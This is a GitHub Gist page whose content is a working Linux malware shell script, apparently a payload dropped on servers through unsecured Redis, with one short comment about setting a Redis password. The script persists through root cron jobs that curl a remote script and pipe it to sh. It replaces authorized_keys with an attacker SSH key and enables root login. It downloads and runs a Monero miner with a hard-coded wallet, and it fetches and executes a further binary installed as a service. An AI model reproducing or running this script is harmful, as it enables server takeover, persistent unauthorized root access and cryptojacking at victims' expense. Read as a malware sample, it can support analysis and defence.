Last active
November 23, 2021 20:22
-
-
Save lokielse/d4e62ae1bb2d5da50ec04aadccc6edf1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root | |
mkdir -p /var/spool/cron/crontabs | |
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root | |
# ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr & | |
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then | |
mkdir -p ~/.ssh | |
rm -f ~/.ssh/authorized_keys* | |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq | |
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config | |
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config | |
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config | |
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config | |
/etc/init.d/sshd restart | |
fi | |
# if [ ! -f "/opt/yam/yam" ]; then | |
# rm -rf /opt/yam | |
# mkdir -p /opt/yam | |
# curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam | |
# chmod +x /opt/yam/yam | |
# nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr & | |
# fi | |
pkill -9 yam | |
if [ ! -f "/opt/minerd" ]; then | |
curl -fsSL https://r.chanstring.com/minerd -o /opt/minerd | |
chmod +x /opt/minerd | |
/opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x | |
fi | |
ps auxf | grep -v grep | grep /opt/minerd || /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x | |
if [ ! -f "/etc/init.d/lady" ]; then | |
if [ ! -f "/etc/systemd/system/lady.service" ]; then | |
mkdir -p /opt | |
curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 | |
fi | |
fi | |
rm -rf /tmp/KHK75NEOiq* | |
service lady start | |
systemctl start lady.service | |
/etc/init.d/lady start |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
nice lesson to do not forget set pass for redis. thx )